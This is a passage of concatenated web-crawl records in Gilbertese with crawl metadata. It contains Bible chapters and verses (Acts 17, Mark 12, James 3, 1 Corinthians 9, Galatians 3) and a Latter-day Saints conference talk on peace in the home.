tia taan taua taekan te kaawa arei n anaa te mwane mai iroun Iaton ma raona nako, ao a kanakoia. 10Ngke e a bon tibwa roo ao a kanakoaki naba Bwauro ma Tira irouia taari nako Beroia; ao ngke a roko iai, ao a rin ni mwaneabaia I-Iutaia. 11A raraoi riki nanoia I-Iutaia i Beroia nakoia ake i Tetaronike, bwa a kani kaaki i nanoia ana taeka te Atua, ao a katoaa te bong ae koraki n ukeuke n te Baibara, bwa a kani kakoauai baike a taekinaki. 12Ma ngaia are a bati i buakoia aika a onimaki, ni bootaki ma aine n Erene aika a bati aika a kakannato, ma mwaane naba aika a bati. 13Ma ngke a ataia I-Iutaia ake i Tetaronike bwa e taekinaki naba ana taeka te Atua irouni Bwauro i Beroia, ao a roko naba iai n aki karauia aomata, ao ni kakiriweeiia. 14Ma ngaia are e a kawaekoaaki ngkanne ni kanakoaki Bwauro irouia taan onimaki nakon te tabo are e mena taari iai; ma e tiku Tira ma Timoteo i Beroia. 15Ao aomata ake a ira Bwauro a karokoa i Atenai; ao a nako ngke e reke irouia ana taeka Bwauro ibukin Tira ma Timoteo are a na tuangaki bwa a na barekiia nnakoina. 16Ao ngke e taningaiia Bwauro i Atenai, ao e kammarakaki atuuna ngke e noora te kaawa bwa a bati bouananti n tei i aona. 17Ma ngaia are e kauntaeka ni mwaneabaia I-Iutaia ma I-Iutaia ao aomata aika tiaki I-Iutaia aika a tataromauriia te Atua; ao e kauntaeka naba n te tabo ni mwaakete n te bong ae koraki ma aomata ake a ri kekei. 18E kauntaeka naba ma taan rabakau temwaangina aika a aranaki bwa Ebikourio ao Tetoiko. A taku temwaangina i buakoia, Tera ae e kataia n taekinna te aomata ae e kakanrabakau aei? Ao a kaangai tabemwaang, Kanga te tia taekinia taimonio aika ianena. Bwa e kabwarabwaraanakoia taekan Iesu ma te manga-maiu mai buakoia maate. 19Ao a taua Bwauro ni kairia nakon te Areiobako, ao a kaangai, Ko konaa n tuangiira bwa tera te koaua ae e boou ae ko taekinna? 20Bwa iai bwaai tabeua aika a boou aika a ti ongo mai iroum; ti a kan ataia ngkanne bwa tera nanoni baikanne. 21Bwa anuaia I-Atenai ni kabaneia, ma iruwa ake a maeka i Atenai, bon ti te kabanea aia tai ni karakin rongorongoni baika a boou ao te ongoongoraa iai. 22E tei ngkanne Bwauro i mataia kaain te kaboowi n te Areiobako, ao e kaangai, Mwaane aika I-Atenai, I nooringkami n aromi nako bwa kam rangi n reitaki ma antimi. 23Bwa ngke I nakonako i nanon ami kaawa ma n taratarai bwaai aika kam taromauri, ao I noora naba te baonikarea teuana ae e koreaki i aona ae e kaangai, NAKON TE ATUA ARE E AKI ATAKI. Ma ngaia aei, bwa Ae kam taromauriia, are e aki ataaki, ao boni Ngaia ae I kaotianakoimi. 24Te Atua, are e karaoa aonnaba ma bwaai ni kabane aika i nanona, bon Ueani karawa ma aon te aba, ao E aki maeka n taabo n taromauri aika a karaoaki ni baiia aomata; 25ao bon akea te bwai ae a karaoia aomata ibukina bwa akea te bwai ae E kainnanoia, ngkai boni Ngaia ae e anga te maiu, te ikeike, ma bwaai ni kabane nakoia aomata ni kabaneia; 26ao E karikiia bootanaomata ni kabaneia mai iroun te aomata ae temanna, bwa a na maeka i aon te aba ni kabane; ao E a kamani baairea te tai are a na maeka iai, ma tiani neia ni maeka. 27E karikia aomata bwa a na ukoukoria, ao a na kunea ngkana arona bwa e roko irouia te namakin n te tai teuana bwa a na kakaaea. Bwa E aki raroa nako te Atua mai iroura n tatabemanira nako, 28bwa boni Ngaia ae ti maiu irouna, ti kakamwakuri irouna, ao iai ngaira irouna; n ai aron are a kaangai ami tia oto-kuna tabemwaang, Bwa ti riki naba mai irouna. 29Ma ngaia aei, bwa ngkai ti riki mai iroun te Atua ao e aki riai bwa ti na taku i nanora bwa te koora arona n Atua, ke te tirewa, ke te atiibu, are e karaoaki bwa katootoongana iroun te aomata ae e rangi n rabakau ni mwakuri n tabonibaina, man ana iango. 30Ma ngaia ae E aki baairei taekaia aomata te Atua i nanon tain te babanga arei; ma E tuangiia aomata ngkai ni kabaneia n taabo nako bwa a na rairi nanoia, 31ibukina bwa E a tia ni motika te bong are E nang kaeti iai taekaia kaain aonnaba n te raoiroi iroun te Aomata are E a tia n rineia; ao E kaota koauana nakoia aomata ni kabaneia, ngke E a manga kamaiua mai buakoia maate. 32A kakaniko temwaangina ngke a ongo taekaia maate bwa a konaa ni manga maiu; ao a taku ake temwaangina, Ti a manga ongoraa iroum n taekan naba te baenne. 33Ao e oti nako ngkanne Bwauro mai buakoia. 34Ma iai aomata tabemwaang ake a raraona Bwauro, ao a riki bwa taan onimaki: temanna i buakoia bon Rionutio ae kaain te Areiobako, ao te aine ae arana Tamariti, ao temwaangina riki.\nMWAKURI 17","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/17","date":"2013-12-09T10:51:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163961998\/warc\/CC-MAIN-20131204133241-00053-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1126,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10785_859_24scottTeuana mai ibuakon kakabwaia aika ti kona n anga nakon te aonaaba bon mwaakan te mwenga are e boboto Kristo iai ike e reiakinaki iai te euangkerio, a kawakinaki tua iai, ao e mwaiti te tangira iai.\nA tuangira bwana aika bati n te aonaaba ae ti maekanna bwa ti riai ni maeka n te aro ni mautakarara. N angiin te tai e bati riki ae e na karaoaki ao ni kabobongaaki. Ma i kabin nanora bon te kainnano ni karekean te tabo ni katantan ike e reke iai te rau ma te raoi, te tabo ike ti kona ni motirawa ma ni kamarurung ni kataraoara i mwaain karawawata n tai aika a na roko.\nTe tabo ae nakoraoi ibukin te rau bon i nanon oin mwengara, ike ti karaoi ni kabane ake ti kona ni karika te Uea Iesu Kristo iai bwa boton te kantaninga.\nUtu tabeua iai tamaia are e maeka n te mwenga are te nakoanibonga ao tinaia ae kakaonimaki ma n taua te aro ake a kaai ni kairiiri n te itiaki. A mwaiti aekan wakiia utu. N aki tarai am kanganga ko kona ni kabotoa mwengam ao maium iroun te Uea Iesu Kristo, ibukina bwa Ngaia reken te rau ae koaua n te maiu aei.\nKo riai ni kakoaua bwa rinerine ake ko karaoi bwa bwain te aonaaba ke te tamnei, e boto i aon tera are E tangiriko te Tia Kamaiu bwa ko na karaoia. Ngkana Ngaia boton mwengam, iai te rau ao te raoi iai. Iai te namakin ni karaunano are e kanoa te mwenga, ao e namakinaki irouia ni bane ake a maekanna.\nTiaki ti karo ake a na kakoroa bukin te reirei aio, e ngae ngke tabeia te kairiiri. A kona ataei n onimakinaki ni kanakoraoan te keiaki ni kabotoan Kristo n te mwenga. E kakawaki irouia kaaro bwa ana reiakinia ataei ni kinas bwa e kanga aia mwakuri n rota temanna are e maeka n te mwenga. Ataei ake a karaoaki bwa a na namakina bukinakiia ibukin aia mwakuri, e ngae ngke mwakuri aika raoiroi a rikirake n riki bwa kain te aba aika onimakinaki n aba n uean te Atua.\nI koaua bwa ko kona ni kinai oin reirei ake a katea mwengam i aon te Tia Kamaiu. Te reirei ni burabeti ni karaoan te tataro ni katoa bong n te utu ao bon iroum, kamatebwaian koroboki aika tabu iroum ao n te utu, ao te kainutu n te mwenga n te tairiki ni katoa wiki boni bwai aika uarereke ao a kakawaki ni katean te auti are e boboto iai Kristo. N akean kakaraoan mwakuri n taai akanne e na kaangaanga kunean te rau ma te nne ni kamanomano ake a tangiraki ao n rang ni kainnanoaki.\nIri nanon reirei ni burabeti ake E tangiriko Kristo n tou mwiia. Tai kakimototoa te kukurei n te tai ae e na roko n anaakin kawai aika uarereke ma tiaki karaoan nanon reirein te euangkerio ae onimakinaki. Uringnga bwa bwaai aika uarereke a kona n riki bwa bwaai aika bubura. N taraana te aki tarabwai ae uarereke ke te aki tabeaianga n te bwai ae mangori e kona n reke bwa te kangaanga ae bubura. E a kakawaki riki, anua ni maiu aika uarereke, nakoraoi, tamaroa a waki nakon te maiu ae takaburunako te kakabwaia iai.\nNgkami ataein te Buraimari, ataeinimwaane ao ataeinaine n ana burokuraem te roronrikirake, ao ngkami mitinare aika teimatoa aika waki n aia mition ngkai a karaoi bwai aika bati aika nakoraoi riki nakon are I kona ni karaoi n ami roro. N te maiu imwain te maiu aei ko kakoauako bwa ko kakaonimaki, ongotaeka, ao ko itiaki. Ikanne, ko mwakuri korakora ni karikirakei tarena ao konabwai ni katauraoingkami ni kaitaraa te mate ma te ninikoria, te kamoa, te karinerine, ao te tokanikai.\nE aki maan n nako ko roko n te mamate ma konabwai ake a rang kakawaki ma iango aika akea tokiia. Ma, iai te kabuanibwai ae koaua n te otabwanin ae katobibiko. Am konabwai ma am atatai a kona ni kamangoraki ke ni kamaunaaki ngkana ko anga ngkoe nakon ana kairi te riaboro are e katobibiko. Ma ngaia are, e aki kona ni konaa aon te Tia Kamaiu, Tatan. Maiun Tatan e baireaki. E ataia bwa e konaaki, ma e tangiria ni kamaunaiia aomata aika mwaiti n aron are e kona. E na kataia n urua raoiroim ma am konabwai ni kamanenai mamaarami. Tiku n ana itera te Uea, ao ko na tokanikai ni katoa tai.\nKo maeka n te aonaaba ike rabakau aika boou a wakinako n te biri ae kamimi. E kaangaanga irouia mwaitiia au roro n ira birin te waki. Bwa e kanga aron kabonganaakin te rabakau ae boou, a kona wakiraken rabakau aikai n riki bwa te kakabwaia ke te kanganga nakon kakoroan bukin am konabwai. Te rabakau ae boou ngke e a ataaki ao ni kamanenaaki ibukin bwai aika itiaki, akea kainnanoakina bwa te bwai ni kakamaaku ma bon te katamaroa nakon te reitaki n tamnei.\nN aron te kabootau, a mwaiti iroura aika iai irouia aia bwai ni mwakuri aika maiu man te iti aika tau inanon ara buua. E kuri akea te tai ae e na akea iroura, ti na kabongana n te tai ae mwaiti n te bongina. Ma, a kona bwainrabakau aikai n riki bwa bwaai n tangako ao ni kabanetai. Ma, kabonganakina ma te tararua, e kona n riki bwa te bwai ni mwakuri ibukin te kamanomano man buakakan bwai ake e kariki te botanaomata.\nAntai are e kona n iangoia n ririki aika aki maan n nako bwa mwakuri n rokoraoin te kainibaire ao ririkin rongorongon te maungatabu ni kabuta a na tau inanon am buua? N ti karinakiia n am buua e na aki kamanoko, ma kamatebwaiakina, iangoakina, ao te kakauonga nakoiia n tai ake a mabu ni katoa bong e na katamaroaa te reitaki rinanon te Tamnei.\nKawanawanako bwa ko kanga ni kabonganaa te rabakau ae boou. Mwaaken taeka aika tabu i aon am bwainrabakau ao okiokiri n angiin te tai. Ngkana ngkami te roronrikirake kam okira te kibu teuana ni koroboki aika tabu n angiin te tai n aroia tabeman mai ibuakomi a kanakoi aia rongorongo n te tekiti, ko kona n te tai ae waekoa ni karekei bubua rongorongon boki aika tabu iroum n taekin n am uriuring. A kona n riki rongorongo aikanne bwa kairi ma ieta ao kairi iroun te Tamnei ae Raoiroi ngkana ko kainnanoia.\nKaraoan ake ti konaa ni kaoa ana kairoro te Tamnei ae Raoiroi ae rau nako nanon maiura e kakawaki n ara kekeiaki ni kabotoa mwengara i aon te Tia Kamaiu. Karaoana ma te ongeaba nakon wirikiriki aikanne e kakorakoraira riki.\nE na roko iroumi te rau ae korakora riki ngkana ko ikota am kekeiaki n ongeaba ma te ibuobuoki nakoia aomata tabeman. A mwaiti aomata n tatabemaniia ake iai tera are a noria bwa tarena ake aki tau mwaitiia irouia a nanorinano ao a kakatonga ni kabonganai tarena akanne ni kakabwaiai maiuia naake a katobibiia. Tabeakinan arom iroum n ti ngkoe boni wakaan te bure ae kakaiaki. Totokoan te buakaka e kaotaki ni katotoon maiun ara Tia Kamaiu. E kaotia nakoira bwa ti na kanga ni kabotoi maiura ni kakeaira i bon iroura ao ni buokia tabeman.\nI reiakinna bwa te koaua are e a tia ni kaokiokaki ni mwaitin te tai ni maiu anne I a ataia bwa te tua ni koaua. E kabwarabwaraa aron reitakin te ongotaeka ao te anganano nakon mwaakan te Atua. Ngkana ti tou mwin Ana tua te Uea ao ni buokiia Natina n akea te babakanikawai, mwina n aron te maiu bon te mwaaka mai iroun te Atua— te mwaaka ni karaoan aika bati riki nakon ake ti kona ni karaoi iroura. Ara noraba, ara tarena, ara konabwai a karababaki ibukina bwa ti karekea te korakora ao te mwaaka mai iroun te Uea. Korakorana bon mwakorona teuana ae kakawaki ni katean te mwenga ae onrake n te rau.\nN te tai are ko kabotoa i aon te Tia Kamaiu mwengam, e na riki bwa te tabo ni kamanomano tiaki ti nakon am utu ma nakoiia raoraom naba ake iai aia kanganga ni maiuia. A na katikaki nakon te raoi are a namakinna i nanon mwengam. A na rikirake ao ni bwebwerake n te waki are e boboto Iesu iai. Itangitangiri ma raoraoia natim. Riki bwa te banna ae itiaki nakoiia.\nTeuana mai ibuakon kakabwaia aika ti kona n anga nakon te aonaaba bon mwaakan te mwenga are e boboto Kristo iai ike e reiaki iai te euangkerio, a kawakinaki tua iai, ao e mwaiti te tangira iai.\nRiriki ake a nako, i mwin kawarakin te mition, kaain abau, Jeanene, e tuangai taekan temanna te mitinare are e kaaitibo ma ngaia. E titirakinna Jeanene taekaia ana utu. E tounako ngke e kaeka bwa akea ana utu. E kamataata nako riki bwa ni bungiakina, e anganako tinana nakon te tautaeka n tararuakia. E bane rongorongon uarerekena n nakonako man te mwenga teuana nakon are teuana. E kakabwaiaaki ngke te kairake ngaia ni kunean irouna te euangkerio. E buokia teuana te utu are atataiaomata n te uote ni karekea ana tai ni karaoa ana mition.\nRimwi e bubutia bun te mition beretitenti Jeanene n taekan te mitinare ae kakateke aei. E ataia bwa tabeua namwakaina mai mwaaina e a tia te mitinare aei n rin ni mwengaia mitinare tabebong ngke e aoraki. I nanon te tai anne e iriiriia n aia kainutu n te tairiki. I mwaain ae e kitanna n okira te mwakuri ni mitinare, e butiia te mition beretitenti ngkana e kona ni kabanea uoua ke tenua te bong n tokin ana mition n tiku riki ni mwengaia mitinare riki. E tangiria n iangoia bwa e kanga te auti are e kabotoa Kristo ni buti. E tangiria bwa e na kona ni waki ana utu n ira mwin te banna n aia utu.\nKaraoa am kabanea ni kona ni karekea aekan ni koaua te mwenga arei. Kawariia ake a maeka n te waki ae matoatoa. Riki bwa te rao ni koaua. Te aeka n iraorao ae teimatoa e buokiia tabemwang ni keiakin kaangaanga ao ni karaoan maiura bwa a na kakukurei. Te iraorao e na aki reke bwa te bwai teuana are kabonganaaki ni karekean rakan te aomata iai ma e riai n reke bwa te kaubwai ni butimwaeaki ao tibwaaki. Butimwaiia nako nanoni mwengam tabemwang ake a kainnanoa te kamarurungaki n rinim n te mwenga are e kabotoaki Iesu iai.\nI anga tabeua kabanea n iango ibukiia ake a tangira temanna kaain aia utu are e aki karaoi rinerine ake a raraoi. E kona anne ni katai ara taotaonakinnano ao ara konamaki. Ti kainnanoia n onimakina te Uea ao n Ana Tai bwa te kaeka ae koaua nakon ara tataro ao kekeiaki ni kamaiu a kona n riki. Ti karaoi ni bane ake ti kona n ibuobuoki, ni kakabwaia, ao ni kaaitaua ma nanom ni koaua Ana babaire te Atua ni bwai ni kabane. Ti kamwakuri ara onimaki ao ti uringnga bwa iai bwai tabeua ake a riai ni katukaki nakon te Uea. E kainnanoira ni katikui rawawatara i nano i rangana. Ma te onimaki ti kona n ataia bwa temanna aio are bonotaninga ma e tangiraki e aki katukaki irouna ma e mena n te tararuaki iroun te Tia Kamaiu ae tatangira.\nKinaa te raoiroi irouia tabeman, tiaki aia kaairua. N tai tabetai te memea e kainnanoa karaoana ni kaitiakaki, ma aki toki ni kanene i aon ao ni kaungai aroarona aika raraoi.\nNgkana ko namakinna bwa iai ti te kantaninga ae rang ni memeere, te kantaninga anne e bon aki memeere ni koaua ma bon te reitaki n toma ni bwai aika totoakaei. E na karekea te mweraoi bwa ko aonga aki maku. Keiaki ni maiu n itiaki ao katuka am onimaki iroun te Uea.\nTi na aki karawawataira ngkana ti aki kona n te tai ae ti teuana ni karaoi bwai ni kabane ake E a tia n reireinira te Uea bwa ti na karaoi. E a tia n taekinna naba bwa iai te bong ma te tai ibukin bwai ni kabane. Ni kaekan ara tataro ni koaua ibukin te kairiiri, E na kaetira n te bwai ae e na katuruaki taekana ni kakateuana mwakorokoron maiura.\nI kaota au kakoaua bwa maiuakinan te ongeaba, ni matoan taekinana n Ana euangkerio Iesu Kristo, e anga te karaunano ae rang ni korakora ibukin te rau ma te kamanomano i nanon mwengara. E na bon reke naba mwaitin kaangaanga ke marakinnano; ma e ngae i buakon kabuanibwai, ti kona ni kimwareirei n te rau i nanora ao te kukurei ae ae akea n ai arona. I kakoaua bwa marakin ao maten Iesu Kristo bon reken te rau ae mwaitikurikuri n aran Iesu Kristo, amen.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.lds.org\/general-conference\/2013\/04\/for-peace-at-home?lang=spa&clang=gil","date":"2013-12-21T17:26:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1387345776257\/warc\/CC-MAIN-20131218054936-00034-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2139,"character_repetition_ratio":0.044,"word_repetition_ratio":0.016,"special_characters_ratio":0.207,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E taetae Iesu nakoia n taeka ni kabootau: Iai te aomata temanna ae e karaoa ana onaroka ao e uniki kureebe iai. E katea oona ni katoobibia, ao e kena nnen te bwai ni karao wain, ao e katea te tabo n taratara i bukiia taan teiakina te onaroka. E anganako ngkanne te onaroka arei nakoia taan ribana bwa a na mwakuriia, ao ngaia e nako n te aba teuana. 2Ngke e a roko bongin te tai, ao teuarei, e kanakoa temanna ana toro nakoia taani mwakuri n te onaroka bwa e na anaa mai irouia tibwangana man are a a tia ni bobooti. 3A tauua te toro taani mwakuri akekei ao a batiboia, ao a kaokia nako ma akea uotana. 4E a manga kanakoa riki temanna te toro teuare ana bwai nneni kureebe; ao taani mwakuri a orea atuuna ao a karaoi bwaai nakoina aika e na bwainrang iai. 5E a manga kanakoa naba temanna te toro, ao a tiringnga: ao akanne aroia nakoia aika a mwaiti riki ake a tia ni kanakoaki nakoia, bwa a batiboia temwaangina ao a tiringiia temwaangina. 6Ai ti temanna te nikira ae tuai ni kanakoaki bwa natin teuarei ae te mwaane ae e tatangiria. E a kanakoa ngkanne bwa ai te kabane, ao e taku, Ane a na karinea natiu. 7Ma a i taetae irouia taani mwakuri ni nnen te kureebe ao a kaangai, Aei te tia bwaibwai i mwiin tamana; bane mai bwa ti na kamatea bwa ti aonga ni bwaibwai i mwiina. 8A tauua ao a kamatea, ao a tewea nako mani nnen te kureebe. 9Tera ngkanne ae e na karaoia teuare ana bwai te onaroka? Ane e na roko ao e na tiringiia aomata akekei, ao e na kamwakuriia aomata temwaangina ni nnen te kureebe. 10Kam tuai ni wareka te taeka are n te Baibara are kaangai: Te atiibu are a ribaia taani kateitei bwa akea boonganana, e a riki bwa te atiibu ae moan te kakaawaki i buakon atiibu nako. 11E riki aei mai iroun te Uea; ai kamiimii ra aron taraana! 12Ao aia mataniwi I-Iutaia a kakaaea angan tauuan Iesu bwa a na kaburea, bwa a ataia ae E ekiia nako n te taeka ni kabootau aei; ma a maakuia aomata, ma ngaia are a kiitanna ao a nako. 13A kanakoaki Bwaritaio temwaangina ma aomata tabemwaang man te koraki ake a kaaina ana bootaki Erote nakon Iesu bwa a na kamwanea n aia titiraki. 14A roko irouna ao a taku, Te Tia Reirei, ti ataia bwa ti te taekina te koaua Ngkoe ao Ko aki konaa ni katabea am iango n aia iango aomata. E aki anaaki nanom n taraan aroia aomata, ma Ko reirei te koaua ae e kaeti ma nanon te Atua i bukiia aomata. E eti ma taekan te tua bwa ti na anga ara taekiti nakon te uea n Rom, ke e aki? 15Ti na kabwakaa nakoia, ke ti na aki? Ma Iesu E a tia n ataia ae a mwaamwanaia n aia taeka. E kaekaia ao E kaangai, E aera ngkai kam kataia ni kani kamwaneai? Uota mai te mwane ae te tirewa bwa N na nooria. 16A uota teuana nakoina; ao E titirakiniia ni kaangai, Antai taamneina ma arana aei? A kaeka ao a taku, Te uea n Rom. 17E taku ngkanne Iesu, Angan te uea n Rom bwaai akana ana bwai te uea n Rom, ao angan te Atua bwaai akana ana bwai te Atua. Ao a miimii iroun Iesu. 18A roko iroun Iesu Tarukaio ake a aki kakoauaa bwa a na manga maiu aomata man te mate, ma ngaia are a taku nakoina, 19Te Tia Reirei, E korea te tua aei Mote i bukira, ae te tua ae e kaangai taekana: Ngkana e mate te mwaanenumwa, ao e tiku buuna i mwiina ma akea natiia, ao tarin teuanne e riai bwa e na iein ma neienne bwa a aonga ni karikiia natiia ake a na atongaki bwa natin teuare e mate. 20Iai ngkoa taari mwaane aika a itiman: e iein teuare e te karimoa ao e mate ma akea natina. 21E iein te kauoman ma neierei ma akea naba natiia; ao e mate teuarei, ao e riki ae ai aron naba aei nakon te kateniman ao nakoia ake nikiraia; 22ao a mate uaake itiman, ma akea naba natiia. E mate n te kabane te aine arei. 23Ngkana a bane ni maiu maate n tain te manga-maiu, ao antai irouia ae e na buuna neierei? Bwa a a tia n iein ma ngaia uaaka itiman. 24E kaekaia Iesu ao E taku, Kam a kaairua ra! Ao kam ataia bwa bukin tera? I bukina bwa kam aki ataa te Baibara ke mwaakan te Atua. 25Bwa ngkana a manga maiu man te mate ao a aki konaa n iein ke ni kaieinaki, n ai aroia anera ake i karawa. 26Ao ni kaeti ma taekaia maate ake a manga maiu: kam tuai ni wareware n ana boki Mote are e taekinaki iai rongorongon te kai are e bue, ao e kaotaki naba iai aron te Atua ngke E kaangai nakoni Mote: Atuan Aberaam Ngai, ao Atuan Itaaka, ao Atuan Iakobwa? 27Bwa Ngaia tiaki Atuaia akana mate, ma Atuaia akana maiu. Kam rangi ni kaairua! 28E mena ikekei temanna te tia koroboki ae e ongoongoraa n aia kakauntaeka. E ataia bwa E a tia Iesu n anganiia Tarukaio te kaeka ae e tamaaroa, ma ngaia are e nako n Iesu ao e titirakinna ni kaangai: Te tua ra ae moanibaan te kakannato i buakon tuua nako? 29E kaeka Iesu ni kaangai, Aei ae moanibaan te kakannato: Kam na ongoraa, Iteraera! Te Uea ae Atuara bon ti Ngaia te Uea! 30Ko na tangira te Uea ae Atuam ma nanom ni kabanea, ao maium ni kabanea, ao wanawanam ni kabanea, ao korakoram ni kabanea. 31Te kauoua n tua ae moanibaan naba te kakannato bon aei: Ko na tangiriia aomata n ai aron tangiram i bon iroum. Akea te tua teuana ae moanibaan te kakannato riki nakoia aikai. 32E taku te tia koroboki temanna nakon Iesu, Te Tia Reirei, E eti ane Ko atongnga, ao e koaua are Ko taku bwa ti temanna Ngaia, ao akea riki i rarikina bwa ti Ngaia; 33ao tangirana ma te nano ni kabanea, ma te wanawana ni kabanea, ma te korakora ni kabanea, ao tangiraia aomata n ai aron tangiran temanna i bon irouna, a a rangi ni moamoa riki nakoni karea ni kabane ake a katauaki ibukin te kabuokaki ao nakoni karea nako. 34Ngke E tirotiroa nanon ana taeka teuarei Iesu bwa iai te wanawana iai, ao E taku nakoina, Ko aki raroa ma uean te Atua. I mwiin aei, ao akea temanna ae e kani manga titirakina Iesu. 35Ngke E tabe n reirei Iesu i nanon te umwantabu, ao E tabeka ana titiraki ni kaangai: A na kangaa n taku taani koroboki bwa E na kaoti te Kristo ri nanon ana kariki Tawita? 36E kairaki nanon Tawita iroun te Taamnei are e Raoiroi bwa e taetae ni kaangai: E taku te Uea nakon au Uea: Tekateka ikai i angaataiu ni karokoa I kaakiia am kairiribai i aani waem. 37E atongnga Tawita bwa ana Uea; ao E na kangaa ngkanne n atongaki te Kristo bwa kanoan ana kariki Tawita? Ao a rangi ni bati aomata ake a kukurei n ongoraa irouna. 38Ngke E reireiia, ao E taku nakoia, Kaawakiningkami mai irouia taani koroboki ake a kan nanakonako ma aia kunnikai aika a mwarairai, ao a tangiria bwa a na kamauraki ma te karinerine n te tabo ni mwaakete; 39ao aroia naba: a kan taatau kai n tekateka ake a katauaki i bukiia aomata aika a kakannato i nanoni mwaneabaia I-Iutaia; ao a kan taatau naba taabo n tekateka aika a rangi n tamaaroa n taini bootaki n amwarake. 40A kuribwai aia auti aine aika a mate buia, ao a karaoa ae a na kan taraaki n aroia ni kaananaui aia tataro. A na anganaki te kabuaakakaaki ae e korakora riki. 41Ngke E tekateka Iesu n ua kaan ma rarikin te tabo ni mwane ae e bwain te umwantabu, ao E matakuakiniia aomata ngke a karin aia mwane. A mwaiti aomata ake a kaubwai ake a karin aia mwane aika a mwaiti. 42E roko ngkanne te aine temanna ae e a tia ni mate buuna, ao e aki kaubwai. E karin ana mwane aika uoua, ae tao uoua te tianti mwaitini kanoaia. 43E weteiia ana reirei ni kabaneia ao E taku nakoia, I tuangkami bwa te aine arei are e mate buuna, e karina ae e mwaiti riki i nanon te bwaoki nakoia uaakekei. 44Bwa a anga uaakekei mani kaubwaia; ma neierei, e ngae ngke e aki kaubwai, ma e anga ni kabane ake a reke irouna ake buokani maiuna.\nMAREKO 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/12","date":"2013-12-09T12:10:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163968717\/warc\/CC-MAIN-20131204133248-00008-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1460,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.432,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6Ao te newe ai aron te ai. Bwa te newe kaanga te aonnaba ae e on n te buaakaka i buakoni bwain rabwatara nako; e kamwaraaea te rabwata ni kabane, ao kaanga ae e kaurarakea maiura ae e bwanin n uran te ai mai Keenna.\nIAKOBO 3:6\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3\/6","date":"2013-12-13T18:00:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164972407\/warc\/CC-MAIN-20131204134932-00060-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 9:1414Ao ai arona naba nakoia te koraki ake a tataekina te euangkerio, bwa E tua te Uea bwa a riai ni kareke baika a kainnanoi ibukini maiuia man aia mwakuri n tataekina te euangkerio. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9\/14","date":"2013-12-08T00:24:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163056670\/warc\/CC-MAIN-20131204131736-00060-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999654293,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999654293060303}","num_words":50,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 3:1111Ma e ataaki bwa akea te aomata i matan te Atua ae e eti reitakina ma Ngaia n te Tua, bwa e kaangai te Baibara, E na maiu ane e kaetaki reitakina ma te Atua n te onimaki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/11","date":"2013-12-08T00:34:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163056670\/warc\/CC-MAIN-20131204131736-00060-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9997860789,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 0.9997860789299011}","num_words":54,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.389,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 3:88ma te newe, bon akea te aomata temanna ae e konaa ni kamananaa: bon te bwai ae e buaakaka ae e aki wene n rau, ae e on n te boitin ae e kamaamate. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South 